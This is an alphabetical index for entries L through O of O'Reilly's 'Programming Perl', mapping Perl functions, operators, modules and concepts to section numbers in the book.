m// (match) operator in: 5.2.2. The m// Operator (Matching)
m//g, listing all matches found: 5.2.2. The m// Operator (Matching)
operations behaving differently in: 24.1.2. Frequently Ignored Advice
range (..) operator in: 3.15. Range Operator
recognizing in debugger: 20.1. Using the Debugger
subroutines, calling and evaluating in: 6.2. Semantics
list method, current thread objects in process: 17.2.1.6. Listing current threads
list operators: 3. Unary and Binary Operators
3.1. Terms and List Operators (Leftward)
3.19. List Operators (Rightward)
unary operators, distinguishing from: 3.10. Named Unary and File Test Operators
list values, arrays and
2.8. List Values and Arrays
2.8. List Values and Arrays
listen function: 29.2.86. listen
listing code: 20.2.5. Locating Code
LISTs: 1.8. List Processing
4.2. Compound Statements
$LIST_SEPARATOR: 28.2. Special Variables in Alphabetical Order
literals: 5.1. The Regular Expression Bestiary
numeric (see numeric literals)
pseudoliterals (see input operators)
string (see string literals)
UTF-8, enabling use in: 15.2. Effects of Character Semantics
little-endian: 25.2. Endianness and Number Width
loading data structures: 9.6.3. Generation of a Hash of Complex Records
filehandles: 2.10. Typeglobs and Filehandles
signal handler assignment: 16.1. Signals
variables: 4.8.1. Scoped Variable Declarations
29.2.87. local
my declarations, using for: 24.1.2. Frequently Ignored Advice
local declaration: 29.2.87. local
local function: 4.8.1. Scoped Variable Declarations
4.8.2. Lexically Scoped Variables: my
29.2.87. local
common programming errors with: 24.1.1. Universal Blunders
my declaration, using instead of: 24.1.2. Frequently Ignored Advice
local operator, using on global variables: 4.8.4. Dynamically Scoped Variables: local
locale, Perl modules for: 22.1. The CPAN modules Directory
locale module: 32.1.6. Internationalization and Locale
locales
decimal points in formats: 7. Formats
declarations, string comparisons and: 3.11. Relational Operators
modules for: 32.1.6. Internationalization and Locale
Perl character class shortcuts and: 5.4.2. Classic Perl Character Class Shortcuts
Unicode and: 29.2.82. lc
use locale pragma with POSIX character classes: 5.4.4. POSIX-Style Character Classes
localization: 22.1. The CPAN modules Directory
(see also locale)
localized values, saving: 18.3. Executing Your Code
localtime function: 29.2.88. localtime
32.1.1. Data Types
32.1.7. Operating System Interfaces
lock function
data access control in threads: 17.2.2.1. Synchronizing access with lock
reference as argument for: 8.1. What Is a Reference?
locked attribute: 12.7.6. New Tricks
locked attribute (subroutines): 6.5. Subroutine Attributes
locking: 29.2.89. lock
locking files: 16.2.1. File Locking
DBM files: 16.2.1. File Locking
29.2.22. dbmopen
dissolving locks by closing files: 16.2.1. File Locking
flock function: 29.2.39. flock
shared and exclusive locks: 16.2.1. File Locking
locking methods: 17.2.2.5. Locking methods
locking subroutines: 17.2.2.3. Locking subroutines
log function: 29.2.90. log
logarithm: 29.2.90. log
LOGDIR variable: 19.2. Environment Variables
logfiles, Perl modules for: 22.1. The CPAN modules Directory
logical
AND (&&) operator: 3.14. C-Style Logical (Short-Circuit) Operators
negation (!) operator: 3.5. Ideographic Unary Operators
operators: 3.14. C-Style Logical (Short-Circuit) Operators
3.20. Logical and, or, not, and xor
OR (||) operator: 3.14. C-Style Logical (Short-Circuit) Operators
separation, parent and child processes: 17.1. The Process Model
logical operators: 1.5.5. Logical Operators
or operator use with list operators: 4.7. Global Declarations
overloading: 13.3. Overloadable Operators
Perl, doing alternation: 5.9.1. Letting Perl Do the Work
precedence of: 12.3.3. Syntactic Snafus with Indirect Objects
login names
functions dealing with: 29.1. Perl Functions by Category
getgrent function: 29.2.44. getgrent
getgrgid function, returning: 29.2.45. getgrgid
getgrnam function, returning: 29.2.46. getgrnam
getlogin function for: 29.2.50. getlogin
long longs: 29.2.108. pack
longs: 29.2.108. pack
lookahead: 5.10.1. Lookaround Assertions
lookaround: 5.10.1. Lookaround Assertions
lookbehind: 5.10.1. Lookaround Assertions
loops: 1.6.2. Iterative (Looping) Constructs
4.4. Loop Statements
24.1.1. Universal Blunders
24.3. Programming with Style
comments and blank lines, discarding before processing: 5.9.1. Letting Perl Do the Work
control operators for: 4.4.4. Loop Control
eval function within: 24.2.1. Time Efficiency
extracting slices, multidimensional arrays: 9.1.4. Slices
for loops: 1.6.2.2. The for statement
foreach loops: 1.6.2.3. The foreach statement
\G assertion, using in: 5.6.5. Where You Left Off: The \G Assertion
infinite: 4.4.2. for Loops
iteration through: 4.4.2. for Loops
labels for: 4.4.4. Loop Control
last operator: 4.4.2. for Loops
29.2.81. last
next and last operators: 1.6.2.4. Breaking out: next and last
next operator: 29.2.101. next
redo operator and: 29.2.126. redo
reset function and: 29.2.130. reset
s/// (substitution) operator, using on arrays: 5.2.3.1. Modifying strings en passant
using for: 4.4.2. for Loops
using in (global substitutions): 5.2.3.2. When a global substitution just isn't global enough
using until: 4.4.1. while and until Statements
using while: 4.4.1. while and until Statements
while loops: 1.6.2.1. The while and until statements
lowercase, converting to: 2.6.2. String Literals
lport manpage, function portability information: 29.2. Perl Functions in Alphabetical Order
lstat function: 29.2.91. lstat
29.2.91. lstat
32.1.4. Filenames, Filesystems, and File Locking
lvalues: 2.4. Variables
assignment operators and: 3.17. Assignment Operators
lvalue attribute, subroutines: 6.5. Subroutine Attributes
6.5.2. The lvalue Attribute
methods, declaring to indicate return of: 12.7.6. New Tricks
modifiers and: 4.8.1. Scoped Variable Declarations
operators and: 1.5.3. Assignment Operators
pattern-matching operators, use on: 5.2. Pattern-Matching Operators

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M

-M (modification age) file test operator: 3.10. Named Unary and File Test Operators
m?? (match) operator: 5.2.2. The m// Operator (Matching)
20.2.5. Locating Code
reset function and: 29.2.130. reset
m// (matching) operator: 5.2.2. The m// Operator (Matching)
20.2.5. Locating Code
/m pattern modifier: 5.2.1. Pattern Modifiers
5.2.2. The m// Operator (Matching)
5.2.3. The s/// Operator (Substitution)
-M (use module) command-line switch: 19.1.3. Switches
Macintosh operating system
command-line interface in versions: 1.3.1. How to Do It
File::Spec::Mac module: 32.1.4. Filenames, Filesystems, and File Locking
invoking Perl application on: 19.1.1. #! and Quoting on Non-Unix Systems
quoting on: 19.1.1. #! and Quoting on Non-Unix Systems
magical autodecrement and autoincrement: 13.3. Overloadable Operators
magical autoincrement: 3.3. Autoincrement and Autodecrement
magical autoincrement operator: 3.15. Range Operator
magical counter variables: 14.1.2. Magical Counter Variables
mail
Perl modules for: 22.1. The CPAN modules Directory
sending, portability and: 25.5. Interprocess Communication (IPC)
main package: 2.5.1. Name Lookups
10. Packages
creating for Perl extensions: 32.1.17. Module Installation Support
Makefile.PL: 21.3.2. Creating Extensions
22.2. Using CPAN Modules
22.3. Creating CPAN Modules
MakeMaker: 22.3. Creating CPAN Modules
22.3. Creating CPAN Modules
malloc errors: 28.2. Special Variables in Alphabetical Order
malloc function, PERL_DEBUG_MSTATS environment variable, using with: 19.2. Environment Variables
man command: 0.4. Online Documentation
11. Modules
20.2.7. Miscellaneous Commands
(see also perldoc)
MANIFEST file: 21.3.2. Creating Extensions
32.1.17. Module Installation Support
manpages: 0.4. Online Documentation
CPAN doc subdirectory, containing: 22. CPAN
Pod::Man module: 32.1.16. Documentation Support
map function: 1.8. List Processing
24.3. Programming with Style
29.2.93. map
mapping keys, pseudohashes: 12.7.1. Field Declarations with use fields
mark stack: 18.3. Executing Your Code
marshalling modules: 32.10. Data::Dumper
$MATCH: 28.2. Special Variables in Alphabetical Order
match (??) operator, reset function and: 29.2.130. reset
match (m//) operator: 24.1.1. Universal Blunders
29.2.92. m//
pos function and: 29.2.112. pos
match-time pattern interpolation: 5.10.3.4. Match-time pattern interpolation
matching patterns: 5. Pattern Matching
5. Pattern Matching
(see also patterns)
math library, C language: 21.3.4. Using Functions from an External C Library
math, Perl modules for: 22.1. The CPAN modules Directory
Math::BigFloat module: 32.1.1. Data Types
Math::BigInt module: 13. Overloading
32.1.1. Data Types
Math::Complex module: 32.1.1. Data Types
mathematical functions, overloading: 13.3. Overloadable Operators
mathematics
operators: 3. Unary and Binary Operators
operators in Perl: 1.5. Operators
Math::Trig module: 32.1.1. Data Types
maximal matching: 5.3.1. Metasymbol Tables
5.5. Quantifiers
maximum and minimum item matches, specifying: 1.7.1. Quantifiers
maxTraceLen option (debugger): 20.3.3. Debugger Options
member data: 12.4.2. Initializers
efficiency of: 24.2.2. Space Efficiency
garbage collection: 8.5.2. Garbage Collection, Circular References, and Weak References
management, destructors and: 12.6. Instance Destructors
running out of: 28.2. Special Variables in Alphabetical Order
shared memory segment ID: 29.2.151. shmget
shared, System V IPC: 16.4. System V IPC
controlled access to: 16.4. System V IPC
statistics on, displaying: 19.2. Environment Variables
message digests, Perl modules for: 22.1. The CPAN modules Directory
messages
functions for: 29.2.95. msgctl
IPC::Msg module: 32.1.8. Networking and Interprocess Communication
passing with UDP: 16.5.3. Message Passing
printing on entry and exit from subroutines: 20.3.3. Debugger Options
receiving on sockets: 29.2.125. recv
script embedded in: 19.1.3. Switches
sending on sockets: 29.2.145. send
System V IPC: 16.4. System V IPC
metacharacters: 5.1. The Regular Expression Bestiary
24.2.1. Time Efficiency
escaping with backslash (\): 5.3. Metacharacters and Metasymbols
escaping with quotemeta: 29.2.118. quotemeta
in exec arguments: 29.2.33. exec
in patterns: 5.3. Metacharacters and Metasymbols
shell, in pipe commands: 29.2.104. open
structural: 5.1. The Regular Expression Bestiary
alphanumeric, in patterns: 5.3.1. Metasymbol Tables
extension syntax for: 5.3.1. Metasymbol Tables
in patterns: 5.3. Metacharacters and Metasymbols
5.3.2. Specific Characters
method attribute: 12.7.6. New Tricks
subroutines: 6.5. Subroutine Attributes
Method (overload::Method): 13.7. Public Overload Functions
methods: 8.3.4. Using Object Methods
12.1. Brief Refresher on Object-Oriented Lingo
adding to an existing class: 12.5.2. Accessing Overridden Methods
array-tying: 14.2.1. Array-Tying Methods
autoloading: 12.5.4. Method Autoloading
called by tied variables: 14. Tied Variables
class data, working like accessors: 12.8. Managing Class Data
classes implementing tied arrays: 14.2. Tying Arrays
classes implementing tied filehandles: 14.4. Tying Filehandles
classes implementing tied hashes: 14.3. Tying Hashes
declarations, lvalues, indicating return of: 12.7.6. New Tricks
hash-tying: 14.3.1. Hash-Tying Methods
invoking: 12.3. Method Invocation
explicitly or implicitly: 12.3. Method Invocation
using indirect objects: 12.3.2. Method Invocation Using Indirect Objects
subroutine calls vs.: 12.4.1. Inheritable Constructors
using arrow operator: 12.3.1. Method Invocation Using the Arrow Operator
names for: 24.3. Programming with Style
object methods, locking: 17.2.2.5. Locking methods
overriding: 12.5.2. Accessing Overridden Methods
Perl classes inheritance of: 12.7. Managing Instance Data
private methods, ignoring inheritance with: 12.5.5. Private Methods
references to: 8.3.7. Closures
searching for
class inheritance: 12.5. Class Inheritance
inheritance through @ISA array: 12.5.1. Inheritance Through @ISA
subroutines as: 12.2. Perl's Object System
subroutines vs.: 6. Subroutines
12.3. Method Invocation
Thread class: 17.2.1. The Thread Module
tying scalars: 14.1.1. Scalar-Tying Methods
UINVERSAL class
adding to: 12.5.3. UNIVERSAL: The Ultimate Ancestor Class
in UNIVERSAL class: 12.5.3. UNIVERSAL: The Ultimate Ancestor Class
m//g operator, Perl versions, changes in: 24.1.5. Previous Perl Traps
Microsoft Windows
ActiveState Perl distribution, installing: 19.1.1. #! and Quoting on Non-Unix Systems
CPAN modules, installing on: 22.2.1. Decompressing and Unpacking CPAN Modules
fileglobbing, File::DosGlob module: 32.1.4. Filenames, Filesystems, and File Locking
File::Spec::Win32 module: 32.1.4. Filenames, Filesystems, and File Locking
fork operation, cloning interpreter objects: 17.1. The Process Model
modules for: 32.1.20. Microsoft-Related Modules
Perl modules for: 22.1. The CPAN modules Directory
porting information (perlwin32): 16. Interprocess Communication
registry, manipulating: 14.6. Tie Modules on CPAN
shell, setting alternative for Perl use: 19.2. Environment Variables
signal number 0 on: 16.1.1. Signaling Process Groups
system calls using wide-character APIs: 15.1. Building Character
Windows NT, quoting on: 19.1.1. #! and Quoting on Non-Unix Systems
Win32::Pipe module: 16.3.4. Named Pipes
MIDI, Perl modules for: 22.1. The CPAN modules Directory
MIME, Perl modules for: 22.1. The CPAN modules Directory
minimal matching: 1.7.2. Minimal Matching
5.3.1. Metasymbol Tables
5.5. Quantifiers
minus (-) operator: 3.5. Ideographic Unary Operators
miscellaneous functions: 29.1. Perl Functions by Category
mkdir function: 29.2.94. mkdir
mkfifo function: 16.3.4. Named Pipes
MLDBM module: 14.6. Tie Modules on CPAN
Data::Dumper module, using with: 32.10. Data::Dumper
mmap syscall: 16.4. System V IPC
$mode file statistic: 29.2.165. stat
modems, Perl modules for: 22.1. The CPAN modules Directory
modes, opening files in: 29.2.104. open
modification time, file: 29.2.165. stat
29.2.193. utime
modifiers
pattern
cloistered: 5.7.3. Cloistered Pattern Modifiers
with s/// (substitution) operator: 5.2.3. The s/// Operator (Substitution)
patterns, with tr/// (transliteration) operator: 5.2.4. The tr/// Operator (Transliteration)
statements, quantifiers vs.: 5.1. The Regular Expression Bestiary
statements, simple: 4.1. Simple Statements
mod_perl module: 18.3. Executing Your Code
21.4. Embedding Perl (Using Perl from C)
modules: 0.1. The Pursuit of Happiness
1.2.1.4. Simplicities
10. Packages
10.2. Autoloading
11. Modules
backend: 18.4. Compiler Backends
backend, calling: 18.4. Compiler Backends
built-in functions, overriding: 11.3. Overriding Built-in Functions
class system and: 12.5.1. Inheritance Through @ISA
classes, storing in for privacy: 12.5.5. Private Methods
classes vs.: 10. Packages
CPAN: 22.1. The CPAN modules Directory
building: 22.2.2. Building CPAN Modules
categories of: 22.1. The CPAN modules Directory
collection of: 1.2.1.4. Simplicities
creating: 22.3. Creating CPAN Modules
decompressing and unpacking: 22.2.1. Decompressing and Unpacking CPAN Modules
directory for: 22. CPAN
installing into Perl library: 22.2.3. Installing CPAN Modules into the Perl Library
mail, sending: 25.5. Interprocess Communication (IPC)
making available to programs: 22.2. Using CPAN Modules
portability of: 25.7. Standard Modules
storing in: 10. Packages
creating: 11.2. Creating Modules
privacy and the Exporter: 11.2.1. Module Privacy and the Exporter
symbol exportation, preventing: 11.2.1.3. Managing unknown symbols
version checking: 11.2.1.2. Version checking
exporting names to other modules: 29.2.74. import
functions dealing with: 29.1. Perl Functions by Category
importing: 32.1.17. Module Installation Support
names for: 24.3. Programming with Style
splitting into separate files: 10.2. Autoloading
standard: 32. Standard Modules
base classes and convenience: 32.1.14. Convenient Classes
command-line processing: 32.1.3. Option, Argument, Parameter, and Configuration File Processing
for data types: 32.1.1. Data Types
DBM file management libraries, loading: 32.1.10. DBM Interfaces
development support: 32.1.18. Development Support
documentation support: 32.1.16. Documentation Support
files, cross-platform methods of access: 32.1.4. Filenames, Filesystems, and File Locking
internationalization and locales: 32.1.6. Internationalization and Locale
module installation support: 32.1.17. Module Installation Support
networking and interprocess communication: 32.1.8. Networking and Interprocess Communication
object-oriented file, directory, and IPC access: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
operating system interfaces, manipulating: 32.1.7. Operating System Interfaces
Perl compiler and code generator: 32.1.19. Perl Compiler and Code Generator
Perl language extensions and externals: 32.1.13. Perl Language Extensions and Internals
security, dealing with: 32.1.12. Authentication, Security, and Encryption
text, manipulating with: 32.1.2. String Processing, Language Text Processing, Parsing, and Searching
user interfaces, providing: 32.1.11. User Interfaces
warnings and exceptions: 32.1.15. Warnings and Exceptions
testing: 21.3.2. Creating Extensions
21.3.3. XSUB Input and Output
22.3. Creating CPAN Modules
thread modules: 17.2.3. Other Thread Modules
thread safety and: 17.2. The Thread Model
tie modules on CPAN: 14.6. Tie Modules on CPAN
user-defined, capitalization in names: 2.5. Names
modulus (%) operator: 3.7. Multiplicative Operators
more than sign (see >)
mortgages, Perl modules for: 22.1. The CPAN modules Directory
MS-DOS operating system, invoking Perl applications on: 19.1.1. #! and Quoting on Non-Unix Systems
msgctl function: 29.2.95. msgctl
msgget function: 29.2.96. msgget
msgrcv function: 29.2.97. msgrcv
msgsnd function: 29.2.98. msgsnd
$mtime file statistic: 29.2.165. stat
mulitple inheritance, SUPER pseudopackage, working with: 12.5.2. Accessing Overridden Methods
multidimensional arrays: 1.2.1.3. Complexities
9.1. Arrays of Arrays
multidimensional hashes: 9.4. Hashes of Hashes
accessing and printing: 9.4.3. Access and Printing of a Hash of Hashes
generation of: 9.4.2. Generation of a Hash of Hashes
multiple inheritance: 12.5. Class Inheritance
AUTOLOAD subroutine and: 12.5.4. Method Autoloading
methods, invoking all overridden base class: 12.5.3. UNIVERSAL: The Ultimate Ancestor Class
multiplication: 1.5.1. Some Binary Arithmetic Operators
strings, repeat operator: 1.5.2. String Operators
multiplicative operators: 1.5.2. String Operators
3.7. Multiplicative Operators
multiprocessing
processer access, unpredictability of: 23.2. Handling Timing Glitches
thread model: 17.2. The Thread Model
multithreading: 17. Threads
mutators, copying and: 13.4. The Copy Constructor (=)
my declarations: 2.5. Names
4. Statements and Declarations
29.2.99. my
closures and: 8.3.7. Closures
context rules and: 2.7.1. Scalar and List Context
local, using instead of: 24.1.2. Frequently Ignored Advice
local vs.: 4.8.4. Dynamically Scoped Variables: local
my function: 4.4.3. foreach Loops
4.8.1. Scoped Variable Declarations
4.8.1. Scoped Variable Declarations
4.8.2. Lexically Scoped Variables: my

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N

\n: 25.1. Newlines
(see also newlines)
-n (loop) command-line switch: 19.1.3. Switches
named
character: 2.6.2. String Literals
character, metasymbol for: 5.3.2. Specific Characters
characters, inserting: 15.2. Effects of Character Semantics
pipes: 16.3.4. Named Pipes
named unary operators: 2.11.3. Filename Globbing Operator
3.10. Named Unary and File Test Operators
listing of: 3.10. Named Unary and File Test Operators
names: 2.5. Names
arrays: 2.4. Variables
attributes, subroutines: 6.5.1. The locked and method Attributes
capitalization conventions: 2.5. Names
classes, distinguishing from subroutines: 12.3.4. Package-Quoted Classes
commands: 1.2.2. Verbs
constructors: 12.4.2. Initializers
file: 2.6.8. Other Literal Tokens
for files==>filenames: 29.2.128. rename
format (see format names)
formats associated with filehandles: 7. Formats
functions: 1.2.2. Verbs
getting from network addresses: 29.2.47. gethostbyaddr
group names: 29.2.46. getgrnam
hashes: 2.4. Variables
hashes, storing in: 1.2.1.2. Pluralities
hostnames, translating to network addresses: 29.2.48. gethostbyname
identifiers vs.: 2.5. Names
labels and filehandles: 2.5. Names
login (see login names)
lookups of: 2.5.1. Name Lookups
methods, tied variables: 14. Tied Variables
modules: 11.1. Using Modules
capitalization in: 11.1. Using Modules
modules/packages: 24.3. Programming with Style
network addresses, getting from: 29.2.51. getnetbyaddr
packages: 10. Packages
parameters, not requiring: 6.2.1. Tricks with Parameter Lists
ports, getting from number: 29.2.64. getservbyname
program (see $0 variable)
protocols, getting from port numbers: 29.2.65. getservbyport
protocols, translating to/from numbers: 29.2.58. getprotobyname
scope, confining to: 4.8.1. Scoped Variable Declarations
signals: 16.1. Signals
subroutines: 6.1. Syntax
capitalization in: 6.1. Syntax
symbol tables: 10.1. Symbol Tables
temporary files, generating: 23.2.3. Temporary Files
translating to network addresses: 29.2.52. getnetbyname
typeglobs: 2.10. Typeglobs and Filehandles
users: 29.2.62. getpwnam
variable: 24.3. Programming with Style
variables: 1.2.1. Variable Syntax
2.4. Variables
namespace (see also packages)
encapsulation based on: 14.6. Tie Modules on CPAN
modules and: 11.2.1. Module Privacy and the Exporter
namespaces: 2.5. Names
access, restricting with Safe module: 23.3.1.1. Restricting namespace access
for packages: 1.2.1.4. Simplicities
naming, socket: 29.2.5. bind
natural languages: 1.2. Natural and Artificial Languages
environment variables controlling Perl handling of: 19.2. Environment Variables
NDBM_File module: 32.1.10. DBM Interfaces
ne operator: 24.1.1. Universal Blunders
negation
arithmetic (-)operator: 3.5. Ideographic Unary Operators
bitwise (~) operator: 3.5. Ideographic Unary Operators
character classes: 5.4.1. Custom Character Classes
5.4.2. Classic Perl Character Class Shortcuts
logical (!) operator: 3.5. Ideographic Unary Operators
of character class: 1.7.1. Quantifiers
POSIX character classes: 5.4.4. POSIX-Style Character Classes
negation operator (!), overloading: 13.3. Overloadable Operators
negative array subscripts, counting from end of array: 24.1.5. Previous Perl Traps
negative lookahead assertions: 5.9.4. The Little Engine That /Could(n't)?/
5.10.1. Lookaround Assertions
negative subscripts in Perl: 2.3. Built-in Data Types
nested
arrays: 9.1. Arrays of Arrays
data structures: 1.2.1.3. Complexities
data structures, printed: 20.2.4. Display
destruction: 12.6. Instance Destructors
lists: 9.1. Arrays of Arrays
subroutines: 8.3.7.2. Nested subroutines
Net::hostent module: 29.2.49. gethostent
32.1.8. Networking and Interprocess Communication
Class::Struct, using to create objects and accesors: 32.6. Class::Struct
Net::netent module: 29.2.51. getnetbyaddr
32.1.8. Networking and Interprocess Communication
netnews: 22.1. The CPAN modules Directory
(see also Usenet)
Net::Ping module: 32.1.8. Networking and Interprocess Communication
Net::proto module: 29.2.59. getprotobynumber
Net::protoent module: 32.1.8. Networking and Interprocess Communication
Net::servent module: 32.1.8. Networking and Interprocess Communication
networking
clients: 16.5.1. Networking Clients
modules for: 32.1.8. Networking and Interprocess Communication
modules implementing network protocols: 22.1. The CPAN modules Directory
network addresses, translating to names: 29.2.51. getnetbyaddr
29.2.47. gethostbyaddr
network filesystems (see NFS)
network information, functions for retrieving: 29.1. Perl Functions by Category
servers: 16.5.2. Networking Servers
services, Perl module for interacting with: 22.1. The CPAN modules Directory
Win32 network modules: 32.1.20. Microsoft-Related Modules
networking modules: 16.5. Sockets
networks file (see /etc/networks file)
new method: 17.2.1.1. Thread creation
29.2.100. new
newlines: 2.2. Molecules
blank lines, truth values and: 1.6.2.1. The while and until statements
chomp function, deleting with: 29.2.11. chomp
dot (.) metacharacter, matching: 5.3.3. Wildcard Metasymbols
in filenames, security risks of: 23.1.2. Cleaning Up Your Environment
Perl program portability and: 25.1. Newlines
removing: 1.4. Filehandles
in string literals: 2.6.2. String Literals
strings containing, matches against: 5.2.1. Pattern Modifiers
newsgroups: 0.6.2. Usenet Newsgroups
next, used in a do while: 4.5. Bare Blocks
next command, do {} while construct, not taking: 24.1.3. C Traps
next operator: 1.6.2.4. Breaking out: next and last
4.4.1. while and until Statements
4.4.4. Loop Control
4.4.4. Loop Control
29.2.101. next
exiting once-through blocks with: 4.5. Bare Blocks
next if construct: 24.2.1. Time Efficiency
NFA (nondeterministic finite-state automaton): 5.9.4. The Little Engine That /Could(n't)?/
limitations of: 16.5. Sockets
$nlink file statistic: 29.2.165. stat
\NNN metasymbol: 5.3.2. Specific Characters
no declarations: 4.7. Global Declarations
4.9. Pragmas
11.1. Using Modules
14.1.3. Magically Banishing $_
29.2.102. no
nomethod overloading key: 13.5. When an Overload Handler Is Missing (nomethod and fallback)
nonbacktracking subpatterns: 5.10.2. Nonbacktracking Subpatterns
nondeterministic finite-state automaton (NFA): 5.9.4. The Little Engine That /Could(n't)?/
noninteractive mode, putting debugger in: 20.4. Unattended Execution
not (!) operator: 3.5. Ideographic Unary Operators
not equal to (!=) operator: 3.12. Equality Operators
notational convenience, tied arrays: 14.2.2. Notational Convenience
nouns: 1.2. Natural and Artificial Languages
packages, handling of: 1.2.1.4. Simplicities
novice programmers, common mistakes of: 24.1. Common Goofs for Novices
null
filehandle ;angle operator and: 2.11.2. Line Input (Angle) Operator
list: 2.8. List Values and Arrays
null device, Unix: 14.4.2. Creative Filehandles
null list, assigning to arrays: 2.8.2. Array Length
null values ("" or 0): 1.2.1.1. Singularities
number, line (see __LINE__ token)
number width: 25.2. Endianness and Number Width
numbered variables: 28.2. Special Variables in Alphabetical Order
numbers: 1.2.1. Variable Syntax
arrays, storing in: 1.2.1.2. Pluralities
bitwise operators, working with: 3.13. Bitwise Operators
command (see command history, debugger and)
commas, inserting into: 7.1. Format Variables
comparison operators for: 1.5.6. Some Numeric and String Comparison Operators
converting nonnumeric variables to: 13.3. Overloadable Operators
d for digit=\d (for digit): 1.7. Regular Expressions
digits in names: 2.5. Names
floating-point (see floating-point numbers)
functions dealing with: 29.1. Perl Functions by Category
hexadecimal: 2.6.1. Numeric Literals
29.2.73. hex
hexadecimal, converting to: 5.2.3. The s/// Operator (Substitution)
integers (see integers)
justifying by decimal point: 7. Formats
large, underscore and: 2.6.1. Numeric Literals
octal: 2.6.1. Numeric Literals
29.2.103. oct
for pages: 28.2. Special Variables in Alphabetical Order
port, getting name for: 29.2.64. getservbyname
ports, getting protocol names from: 29.2.65. getservbyport
protocol: 29.2.59. getprotobynumber
random: 29.2.119. rand
29.2.164. srand
strings, converting to: 2.6. Scalar Values
truncating with int: 29.2.76. int
truth values of: 1.6.1. What Is Truth?
typing in Perl: 2.6. Scalar Values
width of: 25.2. Endianness and Number Width
numeric context: 2.7.1. Scalar and List Context
numeric literals: 2.6.1. Numeric Literals
NV (internal double value): 21.2. Internal Data Types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O

-o (effective UID) file test: 3.10. Named Unary and File Test Operators
/o modifier, recompilation, suppressing with: 5.9.2. Variable Interpolation
O module: 18.4. Compiler Backends
18.6. Code Development Tools
32.1.19. Perl Compiler and Code Generator
/o pattern modifier: 5.2.1. Pattern Modifiers
5.2.1. Pattern Modifiers
5.2.2. The m// Operator (Matching)
5.2.3. The s/// Operator (Substitution)
-O (real UID) file test: 3.10. Named Unary and File Test Operators
object classes: 10. Packages
object methods: 8.3.4. Using Object Methods
locking: 17.2.2.5. Locking methods
Thread objects: 17.2.1. The Thread Module
object-oriented modules: 11.1. Using Modules
method calls, allowing: 11.2. Creating Modules
object-oriented programming: 10. Packages
12.1. Brief Refresher on Object-Oriented Lingo
abstraction in: 12.3. Method Invocation
modules for file, directory, and IPC access: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
Perl modules for: 22.1. The CPAN modules Directory
portable filename operations: 32.1.4. Filenames, Filesystems, and File Locking
references in Perl, emulating: 10. Packages
objects: 1.2.1.3. Complexities
12. Objects
blessing: 3.2. The Arrow Operator
29.2.7. bless
class data, managing: 12.8. Managing Class Data
constructors: 8.2.3. Object Constructors
12.4. Object Construction
inheritable: 12.4.1. Inheritable Constructors
initializers: 12.4.2. Initializers
destruction of (global), controlling: 19.2. Environment Variables
functions dealing with: 29.1. Perl Functions by Category
indirect (see indirect objects)
inheritance, through @ISA array: 12.5.1. Inheritance Through @ISA
instance data, managing: 12.7. Managing Instance Data
12.7.1. Field Declarations with use fields
generating accesors with closures: 12.7.4. Generating Accessors with Closures
generating accessors with autoloading: 12.7.3. Generating Accessors with Autoloading
generating classes with Class::Struct: 12.7.2. Generating Classes with Class::Struct
new features, Perl 5.6: 12.7.6. New Tricks
private objects, using closures for: 12.7.5. Using Closures for Private Objects
instance destructors: 12.6. Instance Destructors
garbage collection with: 12.6.1. Garbage Collection with DESTROY Methods
methods, references to: 8.3.7. Closures
8.3.7. Closures
(see also closures)
Perl object system: 12.2. Perl's Object System
references to, in scalars: 1.2.1.1. Singularities
storing within other objects vs. inheritance: 12.6. Instance Destructors
stringifying: 8.3.6. Other Tricks You Can Do with Hard References
tied variables, underlying: 14. Tied Variables
breaking reference to: 14.5. A Subtle Untying Trap
oct function: 2.6.1. Numeric Literals
29.2.103. oct
octal characters: 2.6.1. Numeric Literals
octal numbers: 29.2.103. oct
characters, representing: 15.1. Building Character
characters, specifying with: 5.3.2. Specific Characters
specifying $/ as: 19.1.3. Switches
octets (see bytes)
for m// successes: 29.2.112. pos
read function and: 29.2.120. read
seek function: 29.2.138. seek
OLE, Perl modules for: 22.1. The CPAN modules Directory
one-liners: 1.3.1. How to Do It
OOP (see object-oriented programming)
Opcode module: 32.1.12. Authentication, Security, and Encryption
opcodes: 18.2. Compiling Your Code
18.3. Executing Your Code
21.1. How Perl Works
open function: 1.4. Filehandles
16.3.1. Anonymous Pipes
29.2.104. open
converting file descriptor to filehandle: 16.2.2. Passing Filehandles
$. and: 29.2.16. close
fileno function and: 29.2.38. fileno
fork-open: 29.2.104. open
forking open: 16.3.2. Talking to Yourself
modes in three-argument form: 29.2.104. open
piped, list argument form, avoiding shell with: 23.3.2. Code Masquerading as Data
piped (two-argument form): 29.2.104. open
for pipes, security risks posed by: 23.1.2. Cleaning Up Your Environment
pipes, opening with: 16.3.1. Anonymous Pipes
portability of: 25.5. Interprocess Communication (IPC)
Open2, Open3 library modules: 16.3.3. Bidirectional Communication
opendir function: 29.2.105. opendir
opening
files via low-level system call: 29.2.171. sysopen
sockets: 29.2.157. socket
operand stack: 18.3. Executing Your Code
operating system name: 28.2. Special Variables in Alphabetical Order
0.1. The Pursuit of Happiness
#! technique, simulating on non-Unix systems: 19.1.1. #! and Quoting on Non-Unix Systems
command interpreters for: 19.1. Command Processing
flock support on: 16.2.1. File Locking
fork operator, support for: 16.2.2. Passing Filehandles
GUIs, relying on: 25.4. System Interaction
interfaces to, manipulating: 32.1.7. Operating System Interfaces
invoking interpreters with #! line: 19.1. Command Processing
module names, translating to directory names: 11.1. Using Modules
newlines, variations in: 25.1. Newlines
perl interpreter, starting on: 1.3.1. How to Do It
Perl modules for: 22.1. The CPAN modules Directory
Perl ports to: 22. CPAN
Perl program portability: 25. Portable Perl
signal reliability on: 16.1.2. Reaping Zombies
signals and default behaviors of: 16.1. Signals
sockets, support for: 16.5. Sockets
threading libraries: 17.2. The Thread Model
operations, contexts, evaluation in: 2.7.1. Scalar and List Context
operators: 1.5. Operators
3. Unary and Binary Operators
access, restricting with Safe module: 23.3.1.2. Restricting operator access
